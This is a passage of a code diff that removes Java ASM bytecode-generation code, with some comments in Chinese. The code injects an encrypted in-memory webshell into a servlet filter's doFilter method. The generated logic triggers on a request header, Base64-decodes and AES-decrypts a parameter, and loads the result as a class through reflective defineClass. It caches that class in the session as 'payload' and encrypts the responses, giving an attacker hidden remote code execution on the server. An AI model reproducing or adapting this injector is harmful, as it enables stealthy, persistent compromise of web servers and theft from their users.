"(Ljava/lang/String;)V", false); - - // Return from the method without calling original doFilter - mv.visitInsn(Opcodes.RETURN); - - // Label for when header value doesn't match - mv.visitLabel(ifNullLabel); - - // End of try block - mv.visitLabel(tryEnd); - - // Skip catch block if we didn't enter it - Label afterCatch = new Label(); - mv.visitJumpInsn(Opcodes.GOTO, afterCatch); - - // Start of catch block - mv.visitLabel(catchHandler); - // The exception is now on the stack - mv.visitVarInsn(Opcodes.ASTORE, outerExceptionIndex); // Store exception in local var 10 and discard it - mv.visitVarInsn(Opcodes.ALOAD, outerExceptionIndex); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Exception", "printStackTrace", "()V", false); - // End of catch block - mv.visitLabel(afterCatch); - } - - private void tryEncodeBase64(int base64ClassIndex, int encoderClassIndex, int encryptBytesIndex, int resultIndex, int base64EncodeExceptionIndex) { - // Encoding encrypted bytes with Base64 - // Try first with java.util.Base64 - Label base64EncodeTrialStart = new Label(); - Label base64EncodeCatch = new Label(); - Label afterBase64Encode = new Label(); - - mv.visitTryCatchBlock(base64EncodeTrialStart, afterBase64Encode, base64EncodeCatch, "java/lang/Exception"); - - mv.visitLabel(base64EncodeTrialStart); - - // base64 = Class.forName("java.util.Base64"); - mv.visitLdcInsn("java.util.Base64"); - mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Class", "forName", - "(Ljava/lang/String;)Ljava/lang/Class;", - false); - mv.visitVarInsn(Opcodes.ASTORE, base64ClassIndex); // Store base64 class in local var 29 - - // Object encoder = base64.getMethod("getEncoder").invoke(base64); - mv.visitVarInsn(Opcodes.ALOAD, base64ClassIndex); // Load base64 class - mv.visitLdcInsn("getEncoder"); - mv.visitInsn(Opcodes.ICONST_0); - mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class"); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod", - "(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false); - mv.visitVarInsn(Opcodes.ALOAD, base64ClassIndex); // Load base64 class - mv.visitInsn(Opcodes.ICONST_0); - mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object"); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", - "invoke", - "(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false); - mv.visitVarInsn(Opcodes.ASTORE, encoderClassIndex); // Store encoder in local var 30 - - // result = (String) encoder.getClass().getMethod("encodeToString", - // byte[].class).invoke(encoder, encryptBytes); - mv.visitVarInsn(Opcodes.ALOAD, encoderClassIndex); // Load encoder - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass", - "()Ljava/lang/Class;", false); - mv.visitLdcInsn("encodeToString"); - mv.visitInsn(Opcodes.ICONST_1); - mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class"); - mv.visitInsn(Opcodes.DUP); - mv.visitInsn(Opcodes.ICONST_0); - mv.visitLdcInsn(Type.getType("[B")); - mv.visitInsn(Opcodes.AASTORE); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod", - "(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false); - mv.visitVarInsn(Opcodes.ALOAD, encoderClassIndex); // Load encoder - mv.visitInsn(Opcodes.ICONST_1); - mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object"); - mv.visitInsn(Opcodes.DUP); - mv.visitInsn(Opcodes.ICONST_0); - mv.visitVarInsn(Opcodes.ALOAD, encryptBytesIndex); // Load encryptBytes - mv.visitInsn(Opcodes.AASTORE); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", - "invoke", - "(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false); - mv.visitTypeInsn(Opcodes.CHECKCAST, "java/lang/String"); - mv.visitVarInsn(Opcodes.ASTORE, resultIndex); // Store result in local var 31 - - mv.visitJumpInsn(Opcodes.GOTO, afterBase64Encode); - - // Fallback to sun.misc.BASE64Encoder - mv.visitLabel(base64EncodeCatch); - mv.visitVarInsn(Opcodes.ASTORE, base64EncodeExceptionIndex); // Store exception in local var 32 - - // base64 = Class.forName("sun.misc.BASE64Encoder"); - mv.visitLdcInsn("sun.misc.BASE64Encoder"); - mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Class", "forName", - "(Ljava/lang/String;)Ljava/lang/Class;", - false); - mv.visitVarInsn(Opcodes.ASTORE, base64ClassIndex); // Store base64 class in local var 29 - - // Object encoder = base64.newInstance(); - mv.visitVarInsn(Opcodes.ALOAD, base64ClassIndex); // Load base64 class - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "newInstance", - "()Ljava/lang/Object;", false); - mv.visitVarInsn(Opcodes.ASTORE, encoderClassIndex); // Store encoder in local var 30 - - // result = (String) encoder.getClass().getMethod("encode", - // byte[].class).invoke(encoder, encryptBytes); - mv.visitVarInsn(Opcodes.ALOAD, encoderClassIndex); // Load encoder - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass", - "()Ljava/lang/Class;", false); - mv.visitLdcInsn("encode"); - mv.visitInsn(Opcodes.ICONST_1); - mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class"); - mv.visitInsn(Opcodes.DUP); - mv.visitInsn(Opcodes.ICONST_0); - mv.visitLdcInsn(Type.getType("[B")); - mv.visitInsn(Opcodes.AASTORE); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod", - "(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false); - mv.visitVarInsn(Opcodes.ALOAD, encoderClassIndex); // Load encoder - mv.visitInsn(Opcodes.ICONST_1); - mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object"); - mv.visitInsn(Opcodes.DUP); - mv.visitInsn(Opcodes.ICONST_0); - mv.visitVarInsn(Opcodes.ALOAD, encryptBytesIndex); // Load encryptBytes - mv.visitInsn(Opcodes.AASTORE); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", - "invoke", - "(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false); - mv.visitTypeInsn(Opcodes.CHECKCAST, "java/lang/String"); - mv.visitVarInsn(Opcodes.ASTORE, resultIndex); // Store result in local var 31 - - mv.visitLabel(afterBase64Encode); - } - - private void defineClassWhenFirstInvoke(int defineClassIndex, int dataIndex, int payloadClassIndex, int sessionIndex) { - // Define class from bytes - // Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", - // byte[].class, int.class, int.class); - mv.visitLdcInsn(Type.getType("Ljava/lang/ClassLoader;")); - mv.visitLdcInsn("defineClass"); - mv.visitInsn(Opcodes.ICONST_3); - mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class"); - mv.visitInsn(Opcodes.DUP); - mv.visitInsn(Opcodes.ICONST_0); - mv.visitLdcInsn(Type.getType("[B")); - mv.visitInsn(Opcodes.AASTORE); - mv.visitInsn(Opcodes.DUP); - mv.visitInsn(Opcodes.ICONST_1); - mv.visitFieldInsn(Opcodes.GETSTATIC, "java/lang/Integer", "TYPE", - "Ljava/lang/Class;"); - mv.visitInsn(Opcodes.AASTORE); - mv.visitInsn(Opcodes.DUP); - mv.visitInsn(Opcodes.ICONST_2); - mv.visitFieldInsn(Opcodes.GETSTATIC, "java/lang/Integer", "TYPE", - "Ljava/lang/Class;"); - mv.visitInsn(Opcodes.AASTORE); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", - "getDeclaredMethod", - "(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false); - mv.visitVarInsn(Opcodes.ASTORE, defineClassIndex); // Store defineClass in local var 23 - - // defineClass.setAccessible(true); - mv.visitVarInsn(Opcodes.ALOAD, defineClassIndex); // Load defineClass - mv.visitInsn(Opcodes.ICONST_1); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", - "setAccessible", "(Z)V", false); - - // Class payload = (Class) - // defineClass.invoke(Thread.currentThread().getContextClassLoader(), - // data, 0, data.length); - mv.visitVarInsn(Opcodes.ALOAD, defineClassIndex); // Load defineClass - mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Thread", "currentThread", - "()Ljava/lang/Thread;", false); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Thread", - "getContextClassLoader", - "()Ljava/lang/ClassLoader;", false); - mv.visitInsn(Opcodes.ICONST_3); - mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object"); - mv.visitInsn(Opcodes.DUP); - mv.visitInsn(Opcodes.ICONST_0); - mv.visitVarInsn(Opcodes.ALOAD, dataIndex); // Load data - mv.visitInsn(Opcodes.AASTORE); - mv.visitInsn(Opcodes.DUP); - mv.visitInsn(Opcodes.ICONST_1); - mv.visitInsn(Opcodes.ICONST_0); - mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Integer", "valueOf", - "(I)Ljava/lang/Integer;", false); - mv.visitInsn(Opcodes.AASTORE); - mv.visitInsn(Opcodes.DUP); - mv.visitInsn(Opcodes.ICONST_2); - mv.visitVarInsn(Opcodes.ALOAD, dataIndex); // Load data - mv.visitInsn(Opcodes.ARRAYLENGTH); - mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Integer", "valueOf", - "(I)Ljava/lang/Integer;", false); - mv.visitInsn(Opcodes.AASTORE); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", - "invoke", - "(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false); - mv.visitVarInsn(Opcodes.ASTORE, payloadClassIndex); // Store payload class in local var 24 - - // session.getClass().getMethod("setAttribute", String.class, Object.class) - // .invoke(session, "payload", payload); - mv.visitVarInsn(Opcodes.ALOAD, sessionIndex); // Load session - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass", - "()Ljava/lang/Class;", false); - mv.visitLdcInsn("setAttribute"); - mv.visitInsn(Opcodes.ICONST_2); - mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class"); - mv.visitInsn(Opcodes.DUP); - mv.visitInsn(Opcodes.ICONST_0); - mv.visitLdcInsn(Type.getType("Ljava/lang/String;")); - mv.visitInsn(Opcodes.AASTORE); - mv.visitInsn(Opcodes.DUP); - mv.visitInsn(Opcodes.ICONST_1); - mv.visitLdcInsn(Type.getType("Ljava/lang/Object;")); - mv.visitInsn(Opcodes.AASTORE); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod", - "(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false); - mv.visitVarInsn(Opcodes.ALOAD, sessionIndex); // Load session - mv.visitInsn(Opcodes.ICONST_2); - mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object"); - mv.visitInsn(Opcodes.DUP); - mv.visitInsn(Opcodes.ICONST_0); - mv.visitLdcInsn("payload"); - mv.visitInsn(Opcodes.AASTORE); - mv.visitInsn(Opcodes.DUP); - mv.visitInsn(Opcodes.ICONST_1); - mv.visitVarInsn(Opcodes.ALOAD, payloadClassIndex); // Load payload class - mv.visitInsn(Opcodes.AASTORE); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", - "invoke", - "(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false); - mv.visitInsn(Opcodes.POP); - - // If first-time class loading - return true - mv.visitInsn(Opcodes.RETURN); - } - - private void getSessionPayload(int requestIndex, int sessionIndex, int sessionPayloadIndex) { - // Get session - // Object session = - // request.getClass().getMethod("getSession").invoke(request); - mv.visitVarInsn(Opcodes.ALOAD, requestIndex); // Load request - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass", - "()Ljava/lang/Class;", false); - mv.visitLdcInsn("getSession"); - mv.visitInsn(Opcodes.ICONST_0); - mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class"); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod", - "(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false); - mv.visitVarInsn(Opcodes.ALOAD, requestIndex); // Load request - mv.visitInsn(Opcodes.ICONST_0); - mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object"); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", - "invoke", - "(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false); - mv.visitVarInsn(Opcodes.ASTORE, sessionIndex); // Store session in local var 21 - - // Get sessionPayload - // Object sessionPayload = session.getClass().getMethod("getAttribute", - // String.class) - // .invoke(session, "payload"); - mv.visitVarInsn(Opcodes.ALOAD, sessionIndex); // Load session - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass", - "()Ljava/lang/Class;", false); - mv.visitLdcInsn("getAttribute"); - mv.visitInsn(Opcodes.ICONST_1); - mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class"); - mv.visitInsn(Opcodes.DUP); - mv.visitInsn(Opcodes.ICONST_0); - mv.visitLdcInsn(Type.getType("Ljava/lang/String;")); - mv.visitInsn(Opcodes.AASTORE); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod", - "(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false); - mv.visitVarInsn(Opcodes.ALOAD, sessionIndex); // Load session - mv.visitInsn(Opcodes.ICONST_1); - mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object"); - mv.visitInsn(Opcodes.DUP); - mv.visitInsn(Opcodes.ICONST_0); - mv.visitLdcInsn("payload"); - mv.visitInsn(Opcodes.AASTORE); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", - "invoke", - "(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false); - mv.visitVarInsn(Opcodes.ASTORE, sessionPayloadIndex); // Store sessionPayload in local var 22 - } - - private void decryptData(int cipherClassIndex, int secretKeySpecClassIndex, int keyClassIndex, int cipherInitMethodIndex, int doFinalMethodIndex, int cipherIndex, int keyIndex, int secretKeySpecIndex, int dataIndex) { - // Load crypto classes - // Class cipherClass = Class.forName("javax.crypto.Cipher"... - mv.visitLdcInsn("javax.crypto.Cipher"); - mv.visitInsn(Opcodes.ICONST_1); - mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Thread", "currentThread", "()Ljava/lang/Thread;", false); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Thread", "getContextClassLoader", - "()Ljava/lang/ClassLoader;", false); - mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Class", "forName", - "(Ljava/lang/String;ZLjava/lang/ClassLoader;)Ljava/lang/Class;", false); - mv.visitVarInsn(Opcodes.ASTORE, cipherClassIndex); // Store cipherClass in local var 14 - - // Class secretKeySpecClass = - // Class.forName("javax.crypto.spec.SecretKeySpec"... - mv.visitLdcInsn("javax.crypto.spec.SecretKeySpec"); - mv.visitInsn(Opcodes.ICONST_1); - mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Thread", "currentThread", "()Ljava/lang/Thread;", false); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Thread", "getContextClassLoader", - "()Ljava/lang/ClassLoader;", false); - mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Class", "forName", - "(Ljava/lang/String;ZLjava/lang/ClassLoader;)Ljava/lang/Class;", false); - mv.visitVarInsn(Opcodes.ASTORE, secretKeySpecClassIndex); // Store secretKeySpecClass in local var 15 - - // Class keyClass = Class.forName("java.security.Key"... - mv.visitLdcInsn("java.security.Key"); - mv.visitInsn(Opcodes.ICONST_1); - mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Thread", "currentThread", "()Ljava/lang/Thread;", false); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Thread", "getContextClassLoader", - "()Ljava/lang/ClassLoader;", false); - mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Class", "forName", - "(Ljava/lang/String;ZLjava/lang/ClassLoader;)Ljava/lang/Class;", false); - mv.visitVarInsn(Opcodes.ASTORE, keyClassIndex); // Store keyClass in local var 16 - - // Get cipher methods - // Method cipherInitMethod = cipherClass.getMethod("init", int.class, keyClass); - mv.visitVarInsn(Opcodes.ALOAD, cipherClassIndex); // Load cipherClass - mv.visitLdcInsn("init"); - mv.visitInsn(Opcodes.ICONST_2); - mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class"); - mv.visitInsn(Opcodes.DUP); - mv.visitInsn(Opcodes.ICONST_0); - mv.visitFieldInsn(Opcodes.GETSTATIC, "java/lang/Integer", "TYPE", "Ljava/lang/Class;"); - mv.visitInsn(Opcodes.AASTORE); - mv.visitInsn(Opcodes.DUP); - mv.visitInsn(Opcodes.ICONST_1); - mv.visitVarInsn(Opcodes.ALOAD, keyClassIndex); // Load keyClass - mv.visitInsn(Opcodes.AASTORE); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod", - "(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false); - mv.visitVarInsn(Opcodes.ASTORE, cipherInitMethodIndex); // Store cipherInitMethod in local var 17 - - // Method doFinalMethod = cipherClass.getMethod("doFinal", byte[].class); - mv.visitVarInsn(Opcodes.ALOAD, cipherClassIndex); // Load cipherClass - mv.visitLdcInsn("doFinal"); - mv.visitInsn(Opcodes.ICONST_1); - mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class"); - mv.visitInsn(Opcodes.DUP); - mv.visitInsn(Opcodes.ICONST_0); - mv.visitLdcInsn(Type.getType("[B")); - mv.visitInsn(Opcodes.AASTORE); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod", - "(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false); - mv.visitVarInsn(Opcodes.ASTORE, doFinalMethodIndex); // Store doFinalMethod in local var 18 - - // Create cipher and secret key - // Object cipher = cipherClass.getMethod("getInstance", - // String.class).invoke(cipherClass, "AES"); - mv.visitVarInsn(Opcodes.ALOAD, cipherClassIndex); // Load cipherClass - mv.visitLdcInsn("getInstance"); - mv.visitInsn(Opcodes.ICONST_1); - mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class"); - mv.visitInsn(Opcodes.DUP); - mv.visitInsn(Opcodes.ICONST_0); - mv.visitLdcInsn(Type.getType("Ljava/lang/String;")); - mv.visitInsn(Opcodes.AASTORE); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod", - "(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false); - mv.visitVarInsn(Opcodes.ALOAD, cipherClassIndex); // Load cipherClass - mv.visitInsn(Opcodes.ICONST_1); - mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object"); - mv.visitInsn(Opcodes.DUP); - mv.visitInsn(Opcodes.ICONST_0); - mv.visitLdcInsn("AES"); - mv.visitInsn(Opcodes.AASTORE); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke", - "(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false); - mv.visitVarInsn(Opcodes.ASTORE, cipherIndex); // Store cipher in local var 19 - - // Object secretKeySpec = secretKeySpecClass.getConstructor(byte[].class, - // String.class) - // .newInstance(key.getBytes(), "AES"); - mv.visitVarInsn(Opcodes.ALOAD, secretKeySpecClassIndex); // 加载 secretKeySpecClass - mv.visitInsn(Opcodes.ICONST_2); // 构造函数参数数量为 2 - mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class"); // 创建 Class[] 数组 - mv.visitInsn(Opcodes.DUP); - mv.visitInsn(Opcodes.ICONST_0); // 数组索引 0 - mv.visitLdcInsn(Type.getType("[B")); // byte[].class - mv.visitInsn(Opcodes.AASTORE); - mv.visitInsn(Opcodes.DUP); - mv.visitInsn(Opcodes.ICONST_1); // 数组索引 1 - mv.visitLdcInsn(Type.getType("Ljava/lang/String;")); // String.class - mv.visitInsn(Opcodes.AASTORE); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getConstructor", - "([Ljava/lang/Class;)Ljava/lang/reflect/Constructor;", false); - - // 准备构造函数参数 - mv.visitInsn(Opcodes.ICONST_2); - mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object"); - mv.visitInsn(Opcodes.DUP); - mv.visitInsn(Opcodes.ICONST_0); // 数组索引 0 - - // 调用 key.getBytes() - mv.visitVarInsn(Opcodes.ALOAD, keyIndex); // 加载 key - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/String", "getBytes", "()[B", false); - mv.visitInsn(Opcodes.AASTORE); // 存储 byte[] 到参数数组 - - // 存储第二个参数 "AES" - mv.visitInsn(Opcodes.DUP); - mv.visitInsn(Opcodes.ICONST_1); // 数组索引 1 - mv.visitLdcInsn("AES"); // 加载字符串 "AES" - mv.visitInsn(Opcodes.AASTORE); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Constructor", "newInstance", - "([Ljava/lang/Object;)Ljava/lang/Object;", false); - mv.visitVarInsn(Opcodes.ASTORE, secretKeySpecIndex); // Store secretKeySpec in local var 20 - - - // Initialize cipher for decryption - // cipherInitMethod.invoke(cipher, 2, secretKeySpec); - mv.visitVarInsn(Opcodes.ALOAD, cipherInitMethodIndex); // Load - // cipherInitMethod - mv.visitVarInsn(Opcodes.ALOAD, cipherIndex); // Load cipher - mv.visitInsn(Opcodes.ICONST_2); - mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object"); - mv.visitInsn(Opcodes.DUP); - mv.visitInsn(Opcodes.ICONST_0); - mv.visitInsn(Opcodes.ICONST_2); // Constant 2 for Cipher.DECRYPT_MODE - mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Integer", "valueOf", - "(I)Ljava/lang/Integer;", false); - mv.visitInsn(Opcodes.AASTORE); - mv.visitInsn(Opcodes.DUP); - mv.visitInsn(Opcodes.ICONST_1); - mv.visitVarInsn(Opcodes.ALOAD, secretKeySpecIndex); // Load secretKeySpec - mv.visitInsn(Opcodes.AASTORE); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", - "invoke", - "(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false); - mv.visitInsn(Opcodes.POP); - - // Decrypt data - // data = (byte[]) doFinalMethod.invoke(cipher, data); - mv.visitVarInsn(Opcodes.ALOAD, doFinalMethodIndex); // Load doFinalMethod - mv.visitVarInsn(Opcodes.ALOAD, cipherIndex); // Load cipher - mv.visitInsn(Opcodes.ICONST_1); - mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object"); - mv.visitInsn(Opcodes.DUP); - mv.visitInsn(Opcodes.ICONST_0); - mv.visitVarInsn(Opcodes.ALOAD, dataIndex); // Load data - mv.visitInsn(Opcodes.AASTORE); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", - "invoke", - "(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false); - mv.visitTypeInsn(Opcodes.CHECKCAST, "[B"); - mv.visitVarInsn(Opcodes.ASTORE, dataIndex); // Store updated data in local var 10 - } - - private void getParameterValue(int requestIndex, int passIndex, int curParameterIndex) { - // String parameter = (String) request.getClass().getMethod("getParameter", - // String.class).invoke(request, pass); - mv.visitVarInsn(Opcodes.ALOAD, requestIndex); // Load request - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass", "()Ljava/lang/Class;", false); - mv.visitLdcInsn("getParameter"); - mv.visitInsn(Opcodes.ICONST_1); - mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class"); - mv.visitInsn(Opcodes.DUP); - mv.visitInsn(Opcodes.ICONST_0); - mv.visitLdcInsn(Type.getType("Ljava/lang/String;")); - mv.visitInsn(Opcodes.AASTORE); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod", - "(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false); - - // Invoke getParameter - mv.visitVarInsn(Opcodes.ALOAD, requestIndex); // Load request - mv.visitInsn(Opcodes.ICONST_1); - mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object"); - mv.visitInsn(Opcodes.DUP); - mv.visitInsn(Opcodes.ICONST_0); - mv.visitVarInsn(Opcodes.ALOAD, passIndex); // Load pass - mv.visitInsn(Opcodes.AASTORE); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke", - "(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false); - mv.visitTypeInsn(Opcodes.CHECKCAST, "java/lang/String"); - mv.visitVarInsn(Opcodes.ASTORE, curParameterIndex); // Store parameter in local var 9 - } - - private void getHeaderValue(int requestIndex, int headerNameIndex, int curHeaderIndex) { - // String value = (String) request.getClass().getMethod("getHeader", - // String.class).invoke(request, headerName); - mv.visitVarInsn(Opcodes.ALOAD, requestIndex); // Load request (first param) - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass", "()Ljava/lang/Class;", false); - mv.visitLdcInsn("getHeader"); - mv.visitInsn(Opcodes.ICONST_1); - mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class"); - mv.visitInsn(Opcodes.DUP); - mv.visitInsn(Opcodes.ICONST_0); - mv.visitLdcInsn(Type.getType("Ljava/lang/String;")); - mv.visitInsn(Opcodes.AASTORE); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod", - "(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false); - - // Invoke getHeader - mv.visitVarInsn(Opcodes.ALOAD, requestIndex); // Load request - mv.visitInsn(Opcodes.ICONST_1); - mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object"); - mv.visitInsn(Opcodes.DUP); - mv.visitInsn(Opcodes.ICONST_0); - mv.visitVarInsn(Opcodes.ALOAD, headerNameIndex); // Load headerName - mv.visitInsn(Opcodes.AASTORE); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke", - "(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false); - mv.visitTypeInsn(Opcodes.CHECKCAST, "java/lang/String"); - mv.visitVarInsn(Opcodes.ASTORE, curHeaderIndex); // Store value in local var 8 - } - - private void tryDecodeBase64(int base64ClassIndex, int decoderClassIndex, int curParameterIndex, int dataIndex, - int base64ExceptionIndex) { - // Try to use java.util.Base64 decoder first - Label base64DecodeTrialStart = new Label(); - Label base64DecodeCatch = new Label(); - Label afterBase64Decode = new Label(); - - mv.visitTryCatchBlock(base64DecodeTrialStart, base64DecodeCatch, base64DecodeCatch, "java/lang/Exception"); - - mv.visitLabel(base64DecodeTrialStart); - - // Class clazz = Class.forName("java.util.Base64", true, - // Thread.currentThread().getContextClassLoader()); - mv.visitLdcInsn("java.util.Base64"); - mv.visitInsn(Opcodes.ICONST_1); - mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Thread", "currentThread", "()Ljava/lang/Thread;", false); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Thread", "getContextClassLoader", - "()Ljava/lang/ClassLoader;", false); - mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Class", "forName", - "(Ljava/lang/String;ZLjava/lang/ClassLoader;)Ljava/lang/Class;", false); - mv.visitVarInsn(Opcodes.ASTORE, base64ClassIndex); // Store Base64 class in local var 11 - - // Object object = clazz.getMethod("getDecoder", new Class[0]).invoke(clazz, - // null); - mv.visitVarInsn(Opcodes.ALOAD, base64ClassIndex); // Load Base64 class - mv.visitLdcInsn("getDecoder"); - mv.visitInsn(Opcodes.ICONST_0); - mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class"); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod", - "(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false); - mv.visitVarInsn(Opcodes.ALOAD, base64ClassIndex); // Load Base64 class as the target - mv.visitInsn(Opcodes.ICONST_0); - mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object"); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke", - "(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false); - mv.visitVarInsn(Opcodes.ASTORE, decoderClassIndex); // Store decoder object in local var 12 - - // byArray = (byte[])object.getClass().getMethod("decode", - // String.class).invoke(object, string7); - mv.visitVarInsn(Opcodes.ALOAD, decoderClassIndex); // Load decoder object - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass", "()Ljava/lang/Class;", false); - mv.visitLdcInsn("decode"); - mv.visitInsn(Opcodes.ICONST_1); - 